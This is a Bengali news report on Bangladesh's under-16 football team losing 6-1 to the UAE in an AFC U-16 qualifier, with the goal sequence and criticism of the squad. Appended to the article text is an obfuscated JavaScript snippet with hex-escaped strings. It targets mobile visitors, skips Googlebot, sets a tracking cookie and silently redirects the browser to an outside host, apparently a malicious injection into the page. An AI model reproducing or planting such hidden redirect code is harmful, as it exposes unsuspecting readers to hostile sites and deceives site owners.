for Add
: ১৮ সেপ্টেম্বর ২০১৫, শুক্রবার, ২১:৩২:১২
নিজস্ব প্রতিবেদক : প্রতিপক্ষ হিসেবে কে বেশি শক্তিশালী? কাগজ-কলম বলছিল সংযুক্ত আরব আমিরাতের নাম। ফিফা র্যাঙ্কিংয়ে তারা ২৩ ধাপ উপরে সৌদি আরবের বিপক্ষে। মাঠেও সে পার্থক্যটা দেখালো আরব আমিরাতের কিশোররা। সৌদি আরবের কাছে বাংলাদেশ অনুর্ধ্ব-১৬ দল হেরেছিল ৫-১ গোলে। সংযুক্ত আরব আমিরাত বাংলাদেশের জালে গোল দিয়েছে আরেকটি বেশি। তাদের জয়ের ব্যবধান ৬-১। দুই ম্যাচে ১১ গোল হজম স্বাগতিকদের। এএফসি অনুর্ধ্ব-১৬ চ্যাম্পিয়নশিপের বাছাই পর্বে গোলে ভেসেই গেলো বাংলাদেশ। দুই ম্যাচেই বড় হার-বাংলাদেশের দৌড়টা থেমে গেছে বাছাই পর্ব থেকেই। কিছুদিন আগে সিলেটে কিশোর সাফ জয় করা এ দলটি ঢাকায় রীতিমতো বিবর্ণ। এক কথায় পুকুরে সাঁতরিয়ে সাগরে ঝাপ দেয়ার অবস্থা। সাফ আর এএফসি পর্যায়ের ফুটবল যে এক নয়, বাংলাদেশ অনুর্ধ-১৬ ফুটবল দলকে সেটাই শেখাল মধ্যপ্রাচ্যের দলদুটি। আজ (শুক্রবার) বঙ্গবন্ধু জাতীয় স্টেডিয়ামে বাছাইপর্বে ‘ডি’ গ্রুপে নিজেদের শেষ ম্যাচে স্বাগতিক বাংলাদেশ শোচনীয়ভাবে হারলো আরব আমিরাতের কাছে। প্রথমার্ধেই অতিথি দলটি এগিয়ে ছিল ৪-০ গোলে। দুই ম্যাচের দুটিতে হেরে বাংলোদেশ এখন দর্শক।
সৌদি আরবের কাছে ৫-০ গোলে হারের পর কঠিন সমালোচনার মুখোমুখি হতে হয়নি বাংলাদেশকে। প্রথমে এগিয়েছিল, শেষ ৪০ মিনিট খেলেছিল ১০ জন নিয়ে। বড় হারের পেছনে একটি লালকার্ডকে ঢাল হিসেবে ব্যবহার করেছে অনেকে। কিন্তু দ্বিতীয় ম্যাচে অযুহাতের কিছু নেই। আমিরাতের বিরুদ্ধে কোমড় সোঁজা করে দাঁড়াতে পারেননি জিলানীর শিষ্যরা। প্রতিরোধহীন আত্মসমর্পন করেই মিশন শেষ করলো স্বাগতিকরা। কোচ সৈয়দ গোলাম জিলানী আগের দিন বলেছিলেন তার নির্ভার হয়েই খেলবে। কিন্তু মাঠে তার দল এতটাই নির্ভার ছিল যে, গোলের ভারে মাথা নিচু করেই মাঠ ছাড়তে হয়েছে। পজিটিভ ফুটবল খেলবো, জয়ের জন্য খেলবো, আগের ভুলগুলো শুধরাবো-এসব কথাগুলো এখন ভাঙ্গা রেকর্ডের মতো হয়ে গেছে। খেলা দেখে মনে হয়েছে বাংলাদেশ জোর করে মাঠে নামিয়ে দেয়া একটি দল। ঠিকমতো বল রিসিভ করতে পারছে না, শুকনো মাঠে পল্টি খায়। আক্রমন বলতেও কিছু নেই, নেই রক্ষেণেও।
ফিফা র্যাংকিংয়ে আমিরাত আছে ৭০ নম্বরে। বাংলাদেশের অবস্থান ১৭৩। দুই দেশের ফুটবলের আকাশ-পাতাল ব্যবধানটা ধরা পড়ে বয়সভিত্তিক দলেও। মাঠে দুই দলের খেলোয়াড়দের শারীরিক গঠনেও দেখা যায় অনেক পার্থক্য। সেক্ষেত্রেও প্রতিপক্ষরাই এগিয়ে স্বাগতিকদের থেকে। বাংলাদেশের সুবিধা বলতে ছিল শুধু চেনা মাঠ আর সমর্থক। কিন্তু তাতে কোন কাজ হয়নি। খেলতে না পারলে মাঠ আর পাট ক্ষেতের মধ্যে কোনো পার্থক্য থাকেনা সেটাই চোখে আঙ্গুল দিয়ে দেখিয়ে দিয়েছে বাংলাদেশের কিশোররা।
১২ মিনিটে আলী খামাসের পাসে বল পেয়ে বক্সে ঢুকে বা পায়ের আলতো টোকায় লক্ষ্যভেদ করে আমিরাতের ফরোয়ার্ড আল নাকবি। ১৮ মিনিটে ডান প্রান্ত থেকে হামাদ জসিমের ক্রস রিসিভ করে ডান পায়ের শটে গোলরক্ষক নূর আলমকে পরাস্ত করে আমিরাত অধিনায়ক মাজিদ রশিদ । ২২ মিনিটে ডান প্রান্ত থেকে আলী সালেহের কর্নার থেকে হেডে লক্ষ্যভেদ করে ডিফেন্ডার সুলতান। ৩৮ মিনিটে ডান প্রান্ত থেকে খামিসের ক্রসে বল নিয়ে পেনাল্টি বক্সে ঢুকে ডান পায়ের উঁচু শটে জালে পাঠায় মিডফিল্ডার আলী সালেহ। প্রথমার্ধেই ৪ গোলে লীড অতিথি দলটির। ৫২ মিনিটে বা প্রান্ত থেকে সরোয়ার জামান নিপুর পাসে বক্সে বল রিসিভ করে দুর্দান্ত শটে গোল করে ব্যবধান কমায় বাংলাদেশের মিডফিল্ডার মোহাম্মদ শাওন। ৬২ মিনিটে মাজিদ রশিদের পেনাল্টি শটে আবারও ব্যবধান বাড়ে। ৬৭ মিনিটে বক্সের প্রায় ৩৫ গজ দূর থেকে দূরপাল্লার শটে হ্যাটট্রিক পূর্ণ করে মাজিদ রশিদ। অর্ধডজন গোল খেয়ে মাঠ ছাড়ে শাওনরা।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
For add
For add
For add
For add
for Add